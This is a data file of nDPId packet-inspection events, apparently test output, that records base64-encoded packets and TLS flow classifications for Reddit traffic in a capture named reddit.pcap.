+01147{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129954,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJgbK5D8xEgBgB+3f+AAABAQgKqXTmRcLXONwWAwECAAEAAfwDA9erSYCt3PYYZEktL7MJcpGlYIX2xYNgs1\/AtKvB7xt0IOR+LE0dhUbDAJPbNSHJ7ZIObTOEyDbEgQFzR3Tqo8K3ACAaGhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAGgAYAAAVZW1vamkucmVkZGl0bWVkaWEuY29tABcAAP8BAAEAAAoACgAIiooAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmKigABAAAdACA5IMr2gd92bNdZoVSKNUS0n14cDWaYPOFRO\/ISsXyZWAAtAAIBAQArAAsKOjoDBAMDAwIDAQAbAAMCAAI6OgABAAAVAMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00832{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":527,"source":"reddit.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1605291686084,"flow_last_seen":1605291686129,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56592,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01151{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":130302,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5RtgHT3WjdKgBgB+\/3uAAABAQgKqXTmRsLXONsWAwECAAEAAfwDA4GdOggSfHPw+AY29Rg\/SPpX1EvYgag3sKMDz0p3DP7TIO0fmepycQbGXW2mLDxW3tcA\/yME9vaj7LwCLtdTp4PsACBaWhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZN6egAAAAAAGgAYAAAVZW1vamkucmVkZGl0bWVkaWEuY29tABcAAP8BAAEAAAoACgAIGhoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkaGgABAAAdACDCTo9dia+yCi8f0GaLNc2V6H3a5\/JGRsJBcmD\/97c\/aQAtAAIBAQArAAsKOjoDBAMDAwIDAQAbAAMCAAK6ugABAAAVAMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00832{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":528,"source":"reddit.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1605291686084,"flow_last_seen":1605291686130,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56590,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01877{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137678,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiUAvFklexgBgLMDhzAAABAQgKwtc43ql05gxpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +00455{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137679,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbR4Z8rX95gBALME5BAAABAQgKwtc44ql05ic="} +00438{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137695,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDKneABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSV7EAAAAAUAQAAF3zAAA="} +01868{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137882,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiVCPFklexgBgLMHGRAAABAQgKwtc43ql05gz82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} +01161{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":535,"source":"reddit.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":11,"flow_first_seen":1605291686035,"flow_last_seen":1605291686137,"flow_tot_l4_data_len":4005,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":364,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56572,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01168{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137883,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiWDvFklexgBgLMNq4AAABAQgKwtc43ql05gw0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSCKSs4l89bXUCOiAIzy0t\/XLXv+FnPQAIHZbzK6\/b2zPQgEAQBWPvvUKCJhPPl9UaqgkQGRrEPnInqn3AgcWKBdJ\/beNUnh8YiG3BBPpig7fWXGt3faQYJkoxICObedZ\/\/cQR843TMJ\/tFxHeh++mhywQmo7IpKjyH\/cP4tkncFJahFlCiQctlFwQ79rSY9MXmiFUFSBu2Wpus46YvEsiEjcq65kwD7H64LAMJAlLAK\/qICDJYwTqmpVm7OhyWGMqHUmqT4O1IaWg4\/Hvxuqm\/zhHGzTDzqcxuGre\/5e1Yavz6ai+Vs+j6Mdk2hnEzA0diG0ay0njYI+YGULPP2\/6vLFzXax3XhVsBLNckbJzge9vIBu2l3NVdiid+USCvy+MnfiZrnFgMDAAQOAAAA"} +00455{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137883,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL0E0Gjp0kgBALMNU7AAABAQgKwtc44ql05ic="} +01864{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137884,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL0E0Gjp0kgBgLMB3uAAABAQgKwtc45Kl05icWAwMAUgIAAE4DA6PKkAOmgePJD3e065+GZ6+AazQPNuz11NjOSLqnlrLGAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":541,"source":"reddit.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1605291686060,"flow_last_seen":1605291686137,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56578,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00438{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137896,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDKneABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSV7EAAAAAUAQAAF3zAAA="} +00438{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137902,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDKneABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSV7EAAAAAUAQAAF3zAAA="} +00453{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137915,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnSRiS9RlgBAB9do2AAABAQgKqXTmTcLXOOQ="} +01872{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137925,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL1GUGjp0kgBgLMGBkAAABAQgKwtc45Kl05id0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +00453{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":137929,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnSRiS9h9gBAB9dYeAAABAQgKqXTmTcLXOOQ="} +01870{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138254,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL2H0Gjp0kgBgLMKqZAAABAQgKwtc45Kl05icUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwx